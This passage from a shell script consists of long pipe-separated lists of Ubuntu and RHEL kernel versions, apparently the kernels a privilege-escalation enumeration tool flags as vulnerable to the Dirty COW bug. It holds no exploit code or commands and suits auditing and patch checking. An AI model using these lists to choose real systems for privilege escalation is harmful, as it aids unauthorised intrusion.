.0-37-lowlatency|3.2.0-37-lowlatency-pae|3.2.0-37-virtual|3.2.0-38-generic|3.2.0-38-generic-pae|3.2.0-38-lowlatency|3.2.0-38-lowlatency-pae|3.2.0-38-virtual|3.2.0-39-generic|3.2.0-39-generic-pae|3.2.0-39-lowlatency|3.2.0-39-lowlatency-pae|3.2.0-39-virtual|3.2.0-40-generic|3.2.0-40-generic-pae|3.2.0-40-lowlatency|3.2.0-40-lowlatency-pae|3.2.0-40-virtual|3.2.0-41-generic|3.2.0-41-generic-pae|3.2.0-41-lowlatency|3.2.0-41-lowlatency-pae|3.2.0-41-virtual|3.2.0-43-generic|3.2.0-43-generic-pae|3.2.0-43-virtual|3.2.0-44-generic|3.2.0-44-generic-pae|3.2.0-44-lowlatency|3.2.0-44-lowlatency-pae|3.2.0-44-virtual|3.2.0-45-generic|3.2.0-45-generic-pae|3.2.0-45-virtual|3.2.0-48-generic|3.2.0-48-generic-pae|3.2.0-48-lowlatency|3.2.0-48-lowlatency-pae|3.2.0-48-virtual|3.2.0-51-generic|3.2.0-51-generic-pae|3.2.0-51-lowlatency|3.2.0-51-lowlatency-pae|3.2.0-51-virtual|3.2.0-52-generic|3.2.0-52-generic-pae|3.2.0-52-lowlatency|3.2.0-52-lowlatency-pae|3.2.0-52-virtual|3.2.0-53-generic\"\nkernelDCW_Ubuntu_Precise_4=\"3.2.0-53-generic-pae|3.2.0-53-lowlatency|3.2.0-53-lowlatency-pae|3.2.0-53-virtual|3.2.0-54-generic|3.2.0-54-generic-pae|3.2.0-54-lowlatency|3.2.0-54-lowlatency-pae|3.2.0-54-virtual|3.2.0-55-generic|3.2.0-55-generic-pae|3.2.0-55-lowlatency|3.2.0-55-lowlatency-pae|3.2.0-55-virtual|3.2.0-56-generic|3.2.0-56-generic-pae|3.2.0-56-lowlatency|3.2.0-56-lowlatency-pae|3.2.0-56-virtual|3.2.0-57-generic|3.2.0-57-generic-pae|3.2.0-57-lowlatency|3.2.0-57-lowlatency-pae|3.2.0-57-virtual|3.2.0-58-generic|3.2.0-58-generic-pae|3.2.0-58-lowlatency|3.2.0-58-lowlatency-pae|3.2.0-58-virtual|3.2.0-59-generic|3.2.0-59-generic-pae|3.2.0-59-lowlatency|3.2.0-59-lowlatency-pae|3.2.0-59-virtual|3.2.0-60-generic|3.2.0-60-generic-pae|3.2.0-60-lowlatency|3.2.0-60-lowlatency-pae|3.2.0-60-virtual|3.2.0-61-generic|3.2.0-61-generic-pae|3.2.0-61-virtual|3.2.0-63-generic|3.2.0-63-generic-pae|3.2.0-63-lowlatency|3.2.0-63-lowlatency-pae|3.2.0-63-virtual|3.2.0-64-generic|3.2.0-64-generic-pae|3.2.0-64-lowlatency|3.2.0-64-lowlatency-pae|3.2.0-64-virtual|3.2.0-65-generic|3.2.0-65-generic-pae|3.2.0-65-lowlatency|3.2.0-65-lowlatency-pae|3.2.0-65-virtual|3.2.0-67-generic|3.2.0-67-generic-pae|3.2.0-67-lowlatency|3.2.0-67-lowlatency-pae|3.2.0-67-virtual|3.2.0-68-generic\"\nkernelDCW_Ubuntu_Precise_5=\"3.2.0-68-generic-pae|3.2.0-68-lowlatency|3.2.0-68-lowlatency-pae|3.2.0-68-virtual|3.2.0-69-generic|3.2.0-69-generic-pae|3.2.0-69-lowlatency|3.2.0-69-lowlatency-pae|3.2.0-69-virtual|3.2.0-70-generic|3.2.0-70-generic-pae|3.2.0-70-lowlatency|3.2.0-70-lowlatency-pae|3.2.0-70-virtual|3.2.0-72-generic|3.2.0-72-generic-pae|3.2.0-72-lowlatency|3.2.0-72-lowlatency-pae|3.2.0-72-virtual|3.2.0-73-generic|3.2.0-73-generic-pae|3.2.0-73-lowlatency|3.2.0-73-lowlatency-pae|3.2.0-73-virtual|3.2.0-74-generic|3.2.0-74-generic-pae|3.2.0-74-lowlatency|3.2.0-74-lowlatency-pae|3.2.0-74-virtual|3.2.0-75-generic|3.2.0-75-generic-pae|3.2.0-75-lowlatency|3.2.0-75-lowlatency-pae|3.2.0-75-virtual|3.2.0-76-generic|3.2.0-76-generic-pae|3.2.0-76-lowlatency|3.2.0-76-lowlatency-pae|3.2.0-76-virtual|3.2.0-77-generic|3.2.0-77-generic-pae|3.2.0-77-lowlatency|3.2.0-77-lowlatency-pae|3.2.0-77-virtual|3.2.0-79-generic|3.2.0-79-generic-pae|3.2.0-79-lowlatency|3.2.0-79-lowlatency-pae|3.2.0-79-virtual|3.2.0-80-generic|3.2.0-80-generic-pae|3.2.0-80-lowlatency|3.2.0-80-lowlatency-pae|3.2.0-80-virtual|3.2.0-82-generic|3.2.0-82-generic-pae|3.2.0-82-lowlatency|3.2.0-82-lowlatency-pae|3.2.0-82-virtual|3.2.0-83-generic|3.2.0-83-generic-pae|3.2.0-83-virtual|3.2.0-84-generic\"\nkernelDCW_Ubuntu_Precise_6=\"3.2.0-84-generic-pae|3.2.0-84-virtual|3.2.0-85-generic|3.2.0-85-generic-pae|3.2.0-85-virtual|3.2.0-86-generic|3.2.0-86-generic-pae|3.2.0-86-virtual|3.2.0-87-generic|3.2.0-87-generic-pae|3.2.0-87-virtual|3.2.0-88-generic|3.2.0-88-generic-pae|3.2.0-88-virtual|3.2.0-89-generic|3.2.0-89-generic-pae|3.2.0-89-virtual|3.2.0-90-generic|3.2.0-90-generic-pae|3.2.0-90-virtual|3.2.0-91-generic|3.2.0-91-generic-pae|3.2.0-91-virtual|3.2.0-92-generic|3.2.0-92-generic-pae|3.2.0-92-virtual|3.2.0-93-generic|3.2.0-93-generic-pae|3.2.0-93-virtual|3.2.0-94-generic|3.2.0-94-generic-pae|3.2.0-94-virtual|3.2.0-95-generic|3.2.0-95-generic-pae|3.2.0-95-virtual|3.2.0-96-generic|3.2.0-96-generic-pae|3.2.0-96-virtual|3.2.0-97-generic|3.2.0-97-generic-pae|3.2.0-97-virtual|3.2.0-98-generic|3.2.0-98-generic-pae|3.2.0-98-virtual|3.2.0-99-generic|3.2.0-99-generic-pae|3.2.0-99-virtual|3.5.0-40-generic|3.5.0-41-generic|3.5.0-42-generic|3.5.0-43-generic|3.5.0-44-generic|3.5.0-45-generic|3.5.0-46-generic|3.5.0-49-generic|3.5.0-51-generic|3.5.0-52-generic|3.5.0-54-generic|3.8.0-19-generic|3.8.0-21-generic|3.8.0-22-generic|3.8.0-23-generic|3.8.0-27-generic|3.8.0-29-generic|3.8.0-30-generic|3.8.0-31-generic|3.8.0-32-generic|3.8.0-33-generic|3.8.0-34-generic|3.8.0-35-generic|3.8.0-36-generic|3.8.0-37-generic|3.8.0-38-generic|3.8.0-39-generic|3.8.0-41-generic|3.8.0-42-generic\"\nkernelDCW_Ubuntu_Trusty_1=\"3.13.0-24-generic|3.13.0-24-generic-lpae|3.13.0-24-lowlatency|3.13.0-24-powerpc-e500|3.13.0-24-powerpc-e500mc|3.13.0-24-powerpc-smp|3.13.0-24-powerpc64-emb|3.13.0-24-powerpc64-smp|3.13.0-27-generic|3.13.0-27-lowlatency|3.13.0-29-generic|3.13.0-29-lowlatency|3.13.0-3-exynos5|3.13.0-30-generic|3.13.0-30-lowlatency|3.13.0-32-generic|3.13.0-32-lowlatency|3.13.0-33-generic|3.13.0-33-lowlatency|3.13.0-34-generic|3.13.0-34-lowlatency|3.13.0-35-generic|3.13.0-35-lowlatency|3.13.0-36-generic|3.13.0-36-lowlatency|3.13.0-37-generic|3.13.0-37-lowlatency|3.13.0-39-generic|3.13.0-39-lowlatency|3.13.0-40-generic|3.13.0-40-lowlatency|3.13.0-41-generic|3.13.0-41-lowlatency|3.13.0-43-generic|3.13.0-43-lowlatency|3.13.0-44-generic|3.13.0-44-lowlatency|3.13.0-46-generic|3.13.0-46-lowlatency|3.13.0-48-generic|3.13.0-48-lowlatency|3.13.0-49-generic|3.13.0-49-lowlatency|3.13.0-51-generic|3.13.0-51-lowlatency|3.13.0-52-generic|3.13.0-52-lowlatency|3.13.0-53-generic|3.13.0-53-lowlatency|3.13.0-54-generic|3.13.0-54-lowlatency|3.13.0-55-generic|3.13.0-55-lowlatency|3.13.0-57-generic|3.13.0-57-lowlatency|3.13.0-58-generic|3.13.0-58-lowlatency|3.13.0-59-generic|3.13.0-59-lowlatency|3.13.0-61-generic|3.13.0-61-lowlatency|3.13.0-62-generic|3.13.0-62-lowlatency|3.13.0-63-generic|3.13.0-63-lowlatency|3.13.0-65-generic|3.13.0-65-lowlatency|3.13.0-66-generic|3.13.0-66-lowlatency\"\nkernelDCW_Ubuntu_Trusty_2=\"3.13.0-67-generic|3.13.0-67-lowlatency|3.13.0-68-generic|3.13.0-68-lowlatency|3.13.0-70-generic|3.13.0-70-lowlatency|3.13.0-71-generic|3.13.0-71-lowlatency|3.13.0-73-generic|3.13.0-73-lowlatency|3.13.0-74-generic|3.13.0-74-lowlatency|3.13.0-76-generic|3.13.0-76-lowlatency|3.13.0-77-generic|3.13.0-77-lowlatency|3.13.0-79-generic|3.13.0-79-lowlatency|3.13.0-83-generic|3.13.0-83-lowlatency|3.13.0-85-generic|3.13.0-85-lowlatency|3.13.0-86-generic|3.13.0-86-lowlatency|3.13.0-87-generic|3.13.0-87-lowlatency|3.13.0-88-generic|3.13.0-88-lowlatency|3.13.0-91-generic|3.13.0-91-lowlatency|3.13.0-92-generic|3.13.0-92-lowlatency|3.13.0-93-generic|3.13.0-93-lowlatency|3.13.0-95-generic|3.13.0-95-lowlatency|3.13.0-96-generic|3.13.0-96-lowlatency|3.13.0-98-generic|3.13.0-98-lowlatency|3.16.0-25-generic|3.16.0-25-lowlatency|3.16.0-26-generic|3.16.0-26-lowlatency|3.16.0-28-generic|3.16.0-28-lowlatency|3.16.0-29-generic|3.16.0-29-lowlatency|3.16.0-31-generic|3.16.0-31-lowlatency|3.16.0-33-generic|3.16.0-33-lowlatency|3.16.0-34-generic|3.16.0-34-lowlatency|3.16.0-36-generic|3.16.0-36-lowlatency|3.16.0-37-generic|3.16.0-37-lowlatency|3.16.0-38-generic|3.16.0-38-lowlatency|3.16.0-39-generic|3.16.0-39-lowlatency|3.16.0-41-generic|3.16.0-41-lowlatency|3.16.0-43-generic|3.16.0-43-lowlatency|3.16.0-44-generic|3.16.0-44-lowlatency|3.16.0-45-generic\"\nkernelDCW_Ubuntu_Trusty_3=\"3.16.0-45-lowlatency|3.16.0-46-generic|3.16.0-46-lowlatency|3.16.0-48-generic|3.16.0-48-lowlatency|3.16.0-49-generic|3.16.0-49-lowlatency|3.16.0-50-generic|3.16.0-50-lowlatency|3.16.0-51-generic|3.16.0-51-lowlatency|3.16.0-52-generic|3.16.0-52-lowlatency|3.16.0-53-generic|3.16.0-53-lowlatency|3.16.0-55-generic|3.16.0-55-lowlatency|3.16.0-56-generic|3.16.0-56-lowlatency|3.16.0-57-generic|3.16.0-57-lowlatency|3.16.0-59-generic|3.16.0-59-lowlatency|3.16.0-60-generic|3.16.0-60-lowlatency|3.16.0-62-generic|3.16.0-62-lowlatency|3.16.0-67-generic|3.16.0-67-lowlatency|3.16.0-69-generic|3.16.0-69-lowlatency|3.16.0-70-generic|3.16.0-70-lowlatency|3.16.0-71-generic|3.16.0-71-lowlatency|3.16.0-73-generic|3.16.0-73-lowlatency|3.16.0-76-generic|3.16.0-76-lowlatency|3.16.0-77-generic|3.16.0-77-lowlatency|3.19.0-20-generic|3.19.0-20-lowlatency|3.19.0-21-generic|3.19.0-21-lowlatency|3.19.0-22-generic|3.19.0-22-lowlatency|3.19.0-23-generic|3.19.0-23-lowlatency|3.19.0-25-generic|3.19.0-25-lowlatency|3.19.0-26-generic|3.19.0-26-lowlatency|3.19.0-28-generic|3.19.0-28-lowlatency|3.19.0-30-generic|3.19.0-30-lowlatency|3.19.0-31-generic|3.19.0-31-lowlatency|3.19.0-32-generic|3.19.0-32-lowlatency|3.19.0-33-generic|3.19.0-33-lowlatency|3.19.0-37-generic|3.19.0-37-lowlatency|3.19.0-39-generic|3.19.0-39-lowlatency|3.19.0-41-generic|3.19.0-41-lowlatency|3.19.0-42-generic\"\nkernelDCW_Ubuntu_Trusty_4=\"3.19.0-42-lowlatency|3.19.0-43-generic|3.19.0-43-lowlatency|3.19.0-47-generic|3.19.0-47-lowlatency|3.19.0-49-generic|3.19.0-49-lowlatency|3.19.0-51-generic|3.19.0-51-lowlatency|3.19.0-56-generic|3.19.0-56-lowlatency|3.19.0-58-generic|3.19.0-58-lowlatency|3.19.0-59-generic|3.19.0-59-lowlatency|3.19.0-61-generic|3.19.0-61-lowlatency|3.19.0-64-generic|3.19.0-64-lowlatency|3.19.0-65-generic|3.19.0-65-lowlatency|3.19.0-66-generic|3.19.0-66-lowlatency|3.19.0-68-generic|3.19.0-68-lowlatency|3.19.0-69-generic|3.19.0-69-lowlatency|3.19.0-71-generic|3.19.0-71-lowlatency|3.4.0-5-chromebook|4.2.0-18-generic|4.2.0-18-lowlatency|4.2.0-19-generic|4.2.0-19-lowlatency|4.2.0-21-generic|4.2.0-21-lowlatency|4.2.0-22-generic|4.2.0-22-lowlatency|4.2.0-23-generic|4.2.0-23-lowlatency|4.2.0-25-generic|4.2.0-25-lowlatency|4.2.0-27-generic|4.2.0-27-lowlatency|4.2.0-30-generic|4.2.0-30-lowlatency|4.2.0-34-generic|4.2.0-34-lowlatency|4.2.0-35-generic|4.2.0-35-lowlatency|4.2.0-36-generic|4.2.0-36-lowlatency|4.2.0-38-generic|4.2.0-38-lowlatency|4.2.0-41-generic|4.2.0-41-lowlatency|4.4.0-21-generic|4.4.0-21-lowlatency|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency\"\nkernelDCW_Ubuntu_Xenial=\"4.4.0-1009-raspi2|4.4.0-1012-snapdragon|4.4.0-21-generic|4.4.0-21-generic-lpae|4.4.0-21-lowlatency|4.4.0-21-powerpc-e500mc|4.4.0-21-powerpc-smp|4.4.0-21-powerpc64-emb|4.4.0-21-powerpc64-smp|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency\"\nkernelDCW_Rhel5_1=\"2.6.24.7-74.el5rt|2.6.24.7-81.el5rt|2.6.24.7-93.el5rt|2.6.24.7-101.el5rt|2.6.24.7-108.el5rt|2.6.24.7-111.el5rt|2.6.24.7-117.el5rt|2.6.24.7-126.el5rt|2.6.24.7-132.el5rt|2.6.24.7-137.el5rt|2.6.24.7-139.el5rt|2.6.24.7-146.el5rt|2.6.24.7-149.el5rt|2.6.24.7-161.el5rt|2.6.24.7-169.el5rt|2.6.33.7-rt29.45.el5rt|2.6.33.7-rt29.47.el5rt|2.6.33.7-rt29.55.el5rt|2.6.33.9-rt31.64.el5rt|2.6.33.9-rt31.67.el5rt|2.6.33.9-rt31.86.el5rt|2.6.18-8.1.1.el5|2.6.18-8.1.3.el5|2.6.18-8.1.4.el5|2.6.18-8.1.6.el5|2.6.18-8.1.8.el5|2.6.18-8.1.10.el5|2.6.18-8.1.14.el5|2.6.18-8.1.15.el5|2.6.18-53.el5|2.6.18-53.1.4.el5|2.6.18-53.1.6.el5|2.6.18-53.1.13.el5|2.6.18-53.1.14.el5|2.6.18-53.1.19.el5|2.6.18-53.1.21.el5|2.6.18-92.el5|2.6.18-92.1.1.el5|2.6.18-92.1.6.el5|2.6.18-92.1.10.el5|2.6.18-92.1.13.el5|2.6.18-92.1.18.el5|2.6.18-92.1.22.el5|2.6.18-92.1.24.el5|2.6.18-92.1.26.el5|2.6.18-92.1.27.el5|2.6.18-92.1.28.el5|2.6.18-92.1.29.el5|2.6.18-92.1.32.el5|2.6.18-92.1.35.el5|2.6.18-92.1.38.el5|2.6.18-128.el5|2.6.18-128.1.1.el5|2.6.18-128.1.6.el5|2.6.18-128.1.10.el5|2.6.18-128.1.14.el5|2.6.18-128.1.16.el5|2.6.18-128.2.1.el5|2.6.18-128.4.1.el5|2.6.18-128.4.1.el5|2.6.18-128.7.1.el5|2.6.18-128.8.1.el5|2.6.18-128.11.1.el5|2.6.18-128.12.1.el5|2.6.18-128.14.1.el5|2.6.18-128.16.1.el5|2.6.18-128.17.1.el5|2.6.18-128.18.1.el5|2.6.18-128.23.1.el5|2.6.18-128.23.2.el5|2.6.18-128.25.1.el5|2.6.18-128.26.1.el5|2.6.18-128.27.1.el5\"\nkernelDCW_Rhel5_2=\"2.6.18-128.29.1.el5|2.6.18-128.30.1.el5|2.6.18-128.31.1.el5|2.6.18-128.32.1.el5|2.6.18-128.35.1.el5|2.6.18-128.36.1.el5|2.6.18-128.37.1.el5|2.6.18-128.38.1.el5|2.6.18-128.39.1.el5|2.6.18-128.40.1.el5|2.6.18-128.41.1.el5|2.6.18-164.el5|2.6.18-164.2.1.el5|2.6.18-164.6.1.el5|2.6.18-164.9.1.el5|2.6.18-164.10.1.el5|2.6.18-164.11.1.el5|2.6.18-164.15.1.el5|2.6.18-164.17.1.el5|2.6.18-164.19.1.el5|2.6.18-164.21.1.el5|2.6.18-164.25.1.el5|2.6.18-164.25.2.el5|2.6.18-164.28.1.el5|2.6.18-164.30.1.el5|2.6.18-164.32.1.el5|2.6.18-164.34.1.el5|2.6.18-164.36.1.el5|2.6.18-164.37.1.el5|2.6.18-164.38.1.el5|2.6.18-194.el5|2.6.18-194.3.1.el5|2.6.18-194.8.1.el5|2.6.18-194.11.1.el5|2.6.18-194.11.3.el5|2.6.18-194.11.4.el5|2.6.18-194.17.1.el5|2.6.18-194.17.4.el5|2.6.18-194.26.1.el5|2.6.18-194.32.1.el5|2.6.18-238.el5|2.6.18-238.1.1.el5|2.6.18-238.5.1.el5|2.6.18-238.9.1.el5|2.6.18-238.12.1.el5|2.6.18-238.19.1.el5|2.6.18-238.21.1.el5|2.6.18-238.27.1.el5|2.6.18-238.28.1.el5|2.6.18-238.31.1.el5|2.6.18-238.33.1.el5|2.6.18-238.35.1.el5|2.6.18-238.37.1.el5|2.6.18-238.39.1.el5|2.6.18-238.40.1.el5|2.6.18-238.44.1.el5|2.6.18-238.45.1.el5|2.6.18-238.47.1.el5|2.6.18-238.48.1.el5|2.6.18-238.49.1.el5|2.6.18-238.50.1.el5|2.6.18-238.51.1.el5|2.6.18-238.52.1.el5|2.6.18-238.53.1.el5|2.6.18-238.54.1.el5|2.6.18-238.55.1.el5|2.6.18-238.56.1.el5|2.6.18-274.el5|2.6.18-274.3.1.el5|2.6.18-274.7.1.el5|2.6.18-274.12.1.el5\"\nkernelDCW_Rhel5_3=\"2.6.18-274.17.1.el5|2.6.18-274.18.1.el5|2.6.18-308.el5|2.6.18-308.1.1.el5|2.6.18-308.4.1.el5|2.6.18-308.8.1.el5|2.6.18-308.8.2.el5|2.6.18-308.11.1.el5|2.6.18-308.13.1.el5|2.6.18-308.16.1.el5|2.6.18-308.20.1.el5|2.6.18-308.24.1.el5|2.6.18-348.el5|2.6.18-348.1.1.el5|2.6.18-348.2.1.el5|2.6.18-348.3.1.el5|2.6.18-348.4.1.el5|2.6.18-348.6.1.el5|2.6.18-348.12.1.el5|2.6.18-348.16.1.el5|2.6.18-348.18.1.el5|2.6.18-348.19.1.el5|2.6.18-348.21.1.el5|2.6.18-348.22.1.el5|2.6.18-348.23.1.el5|2.6.18-348.25.1.el5|2.6.18-348.27.1.el5|2.6.18-348.28.1.el5|2.6.18-348.29.1.el5|2.6.18-348.30.1.el5|2.6.18-348.31.2.el5|2.6.18-371.el5|2.6.18-371.1.2.el5|2.6.18-371.3.1.el5|2.6.18-371.4.1.el5|2.6.18-371.6.1.el5|2.6.18-371.8.1.el5|2.6.18-371.9.1.el5|2.6.18-371.11.1.el5|2.6.18-371.12.1.el5|2.6.18-398.el5|2.6.18-400.el5|2.6.18-400.1.1.el5|2.6.18-402.el5|2.6.18-404.el5|2.6.18-406.el5|2.6.18-407.el5|2.6.18-408.el5|2.6.18-409.el5|2.6.18-410.el5|2.6.18-411.el5|2.6.18-412.el5\"\nkernelDCW_Rhel6_1=\"2.6.33.9-rt31.66.el6rt|2.6.33.9-rt31.74.el6rt|2.6.33.9-rt31.75.el6rt|2.6.33.9-rt31.79.el6rt|3.0.9-rt26.45.el6rt|3.0.9-rt26.46.el6rt|3.0.18-rt34.53.el6rt|3.0.25-rt44.57.el6rt|3.0.30-rt50.62.el6rt|3.0.36-rt57.66.el6rt|3.2.23-rt37.56.el6rt|3.2.33-rt50.66.el6rt|3.6.11-rt28.20.el6rt|3.6.11-rt30.25.el6rt|3.6.11.2-rt33.39.el6rt|3.6.11.5-rt37.55.el6rt|3.8.13-rt14.20.el6rt|3.8.13-rt14.25.el6rt|3.8.13-rt27.33.el6rt|3.8.13-rt27.34.el6rt|3.8.13-rt27.40.el6rt|3.10.0-229.rt56.144.el6rt|3.10.0-229.rt56.147.el6rt|3.10.0-229.rt56.149.el6rt|3.10.0-229.rt56.151.el6rt|3.10.0-229.rt56.153.el6rt|3.10.0-229.rt56.158.el6rt|3.10.0-229.rt56.161.el6rt|3.10.0-229.rt56.162.el6rt|3.10.0-327.rt56.170.el6rt|3.10.0-327.rt56.171.el6rt|3.10.0-327.rt56.176.el6rt|3.10.0-327.rt56.183.el6rt|3.10.0-327.rt56.190.el6rt|3.10.0-327.rt56.194.el6rt|3.10.0-327.rt56.195.el6rt|3.10.0-327.rt56.197.el6rt|3.10.33-rt32.33.el6rt|3.10.33-rt32.34.el6rt|3.10.33-rt32.43.el6rt|3.10.33-rt32.45.el6rt|3.10.33-rt32.51.el6rt|3.10.33-rt32.52.el6rt|3.10.58-rt62.58.el6rt|3.10.58-rt62.60.el6rt|2.6.32-71.7.1.el6|2.6.32-71.14.1.el6|2.6.32-71.18.1.el6|2.6.32-71.18.2.el6|2.6.32-71.24.1.el6|2.6.32-71.29.1.el6|2.6.32-71.31.1.el6|2.6.32-71.34.1.el6|2.6.32-71.35.1.el6|2.6.32-71.36.1.el6|2.6.32-71.37.1.el6|2.6.32-71.38.1.el6|2.6.32-71.39.1.el6|2.6.32-71.40.1.el6|2.6.32-131.0.15.el6|2.6.32-131.2.1.el6|2.6.32-131.4.1.el6|2.6.32-131.6.1.el6|2.6.32-131.12.1.el6\"\nkernelDCW_Rhel6_2=\"2.6.32-131.17.1.el6|2.6.32-131.21.1.el6|2.6.32-131.22.1.el6|2.6.32-131.25.1.el6|2.6.32-131.26.1.el6|2.6.32-131.28.1.el6|2.6.32-131.29.1.el6|2.6.32-131.30.1.el6|2.6.32-131.30.2.el6|2.6.32-131.33.1.el6|2.6.32-131.35.1.el6|2.6.32-131.36.1.el6|2.6.32-131.37.1.el6|2.6.32-131.38.1.el6|2.6.32-131.39.1.el6|2.6.32-220.el6|2.6.32-220.2.1.el6|2.6.32-220.4.1.el6|2.6.32-220.4.2.el6|2.6.32-220.4.7.bgq.el6|2.6.32-220.7.1.el6|2.6.32-220.7.3.p7ih.el6|2.6.32-220.7.4.p7ih.el6|2.6.32-220.7.6.p7ih.el6|2.6.32-220.7.7.p7ih.el6|2.6.32-220.13.1.el6|2.6.32-220.17.1.el6|2.6.32-220.23.1.el6|2.6.32-220.24.1.el6|2.6.32-220.25.1.el6|2.6.32-220.26.1.el6|2.6.32-220.28.1.el6|2.6.32-220.30.1.el6|2.6.32-220.31.1.el6|2.6.32-220.32.1.el6|2.6.32-220.34.1.el6|2.6.32-220.34.2.el6|2.6.32-220.38.1.el6|2.6.32-220.39.1.el6|2.6.32-220.41.1.el6|2.6.32-220.42.1.el6|2.6.32-220.45.1.el6|2.6.32-220.46.1.el6|2.6.32-220.48.1.el6|2.6.32-220.51.1.el6|2.6.32-220.52.1.el6|2.6.32-220.53.1.el6|2.6.32-220.54.1.el6|2.6.32-220.55.1.el6|2.6.32-220.56.1.el6|2.6.32-220.57.1.el6|2.6.32-220.58.1.el6|2.6.32-220.60.2.el6|2.6.32-220.62.1.el6|2.6.32-220.63.2.el6|2.6.32-220.64.1.el6|2.6.32-220.65.1.el6|2.6.32-220.66.1.el6|2.6.32-220.67.1.el6|2.6.32-279.el6|2.6.32-279.1.1.el6|2.6.32-279.2.1.el6|2.6.32-279.5.1.el6|2.6.32-279.5.2.el6|2.6.32-279.9.1.el6|2.6.32-279.11.1.el6|2.6.32-279.14.1.bgq.el6|2.6.32-279.14.1.el6|2.6.32-279.19.1.el6|2.6.32-279.22.1.el6|2.6.32-279.23.1.el6|2.6.32-279.25.1.el6|2.6.32-279.25.2.el6|2.6.32-279.31.1.el6|2.6.32-279.33.1.el6|2.6.32-279.34.1.el6|2.6.32-279.37.2.el6|2.6.32-279.39.1.el6\"\nkernelDCW_Rhel6_3=\"2.6.32-279.41.1.el6|2.6.32-279.42.1.el6|2.6.32-279.43.1.el6|2.6.32-279.43.2.el6|2.6.32-279.46.1.el6|2.6.32-358.el6|2.6.32-358.0.1.el6|2.6.32-358.2.1.el6|2.6.32-358.6.1.el6|2.6.32-358.6.2.el6|2.6.32-358.6.3.p7ih.el6|2.6.32-358.11.1.bgq.el6|2.6.32-358.11.1.el6|2.6.32-358.14.1.el6|2.6.32-358.18.1.el6|2.6.32-358.23.2.el6|2.6.32-358.28.1.el6|2.6.32-358.32.3.el6|2.6.32-358.37.1.el6|2.6.32-358.41.1.el6|2.6.32-358.44.1.el6|2.6.32-358.46.1.el6|2.6.32-358.46.2.el6|2.6.32-358.48.1.el6|2.6.32-358.49.1.el6|2.6.32-358.51.1.el6|2.6.32-358.51.2.el6|2.6.32-358.55.1.el6|2.6.32-358.56.1.el6|2.6.32-358.59.1.el6|2.6.32-358.61.1.el6|2.6.32-358.62.1.el6|2.6.32-358.65.1.el6|2.6.32-358.67.1.el6|2.6.32-358.68.1.el6|2.6.32-358.69.1.el6|2.6.32-358.70.1.el6|2.6.32-358.71.1.el6|2.6.32-358.72.1.el6|2.6.32-358.73.1.el6|2.6.32-358.111.1.openstack.el6|2.6.32-358.114.1.openstack.el6|2.6.32-358.118.1.openstack.el6|2.6.32-358.123.4.openstack.el6|2.6.32-431.el6|2.6.32-431.1.1.bgq.el6|2.6.32-431.1.2.el6|2.6.32-431.3.1.el6|2.6.32-431.5.1.el6|2.6.32-431.11.2.el6|2.6.32-431.17.1.el6|2.6.32-431.20.3.el6|2.6.32-431.20.5.el6|2.6.32-431.23.3.el6|2.6.32-431.29.2.el6|2.6.32-431.37.1.el6|2.6.32-431.40.1.el6|2.6.32-431.40.2.el6|2.6.32-431.46.2.el6|2.6.32-431.50.1.el6|2.6.32-431.53.2.el6|2.6.32-431.56.1.el6|2.6.32-431.59.1.el6|2.6.32-431.61.2.el6|2.6.32-431.64.1.el6|2.6.32-431.66.1.el6|2.6.32-431.68.1.el6|2.6.32-431.69.1.el6|2.6.32-431.70.1.el6\"\nkernelDCW_Rhel6_4=\"2.6.32-431.71.1.el6|2.6.32-431.72.1.el6|2.6.32-431.73.2.el6|2.6.32-431.74.1.el6|2.6.32-504.el6|2.6.32-504.1.3.el6|2.6.32-504.3.3.el6|2.6.32-504.8.1.el6|2.6.32-504.8.2.bgq.el6|2.6.32-504.12.2.el6|2.6.32-504.16.2.el6|2.6.32-504.23.4.el6|2.6.32-504.30.3.el6|2.6.32-504.30.5.p7ih.el6|2.6.32-504.33.2.el6|2.6.32-504.36.1.el6|2.6.32-504.38.1.el6|2.6.32-504.40.1.el6|2.6.32-504.43.1.el6|2.6.32-504.46.1.el6|2.6.32-504.49.1.el6|2.6.32-504.50.1.el6|2.6.32-504.51.1.el6|2.6.32-504.52.1.el6|2.6.32-573.el6|2.6.32-573.1.1.el6|2.6.32-573.3.1.el6|2.6.32-573.4.2.bgq.el6|2.6.32-573.7.1.el6|2.6.32-573.8.1.el6|2.6.32-573.12.1.el6|2.6.32-573.18.1.el6|2.6.32-573.22.1.el6|2.6.32-573.26.1.el6|2.6.32-573.30.1.el6|2.6.32-573.32.1.el6|2.6.32-573.34.1.el6|2.6.32-642.el6|2.6.32-642.1.1.el6|2.6.32-642.3.1.el6|2.6.32-642.4.2.el6|2.6.32-642.6.1.el6\"\nkernelDCW_Rhel7=\"3.10.0-229.rt56.141.el7|3.10.0-229.1.2.rt56.141.2.el7_1|3.10.0-229.4.2.rt56.141.6.el7_1|3.10.0-229.7.2.rt56.141.6.el7_1|3.10.0-229.11.1.rt56.141.11.el7_1|3.10.0-229.14.1.rt56.141.13.el7_1|3.10.0-229.20.1.rt56.141.14.el7_1|3.10.0-229.rt56.141.el7|3.10.0-327.rt56.204.el7|3.10.0-327.4.5.rt56.206.el7_2|3.10.0-327.10.1.rt56.211.el7_2|3.10.0-327.13.1.rt56.216.el7_2|3.10.0-327.18.2.rt56.223.el7_2|3.10.0-327.22.2.rt56.230.el7_2|3.10.0-327.28.2.rt56.234.el7_2|3.10.0-327.28.3.rt56.235.el7|3.10.0-327.36.1.rt56.237.el7|3.10.0-123.el7|3.10.0-123.1.2.el7|3.10.0-123.4.2.el7|3.10.0-123.4.4.el7|3.10.0-123.6.3.el7|3.10.0-123.8.1.el7|3.10.0-123.9.2.el7|3.10.0-123.9.3.el7|3.10.0-123.13.1.el7|3.10.0-123.13.2.el7|3.10.0-123.20.1.el7|3.10.0-229.el7|3.10.0-229.1.2.el7|3.10.0-229.4.2.el7|3.10.0-229.7.2.el7|3.10.0-229.11.1.el7|3.10.0-229.14.1.e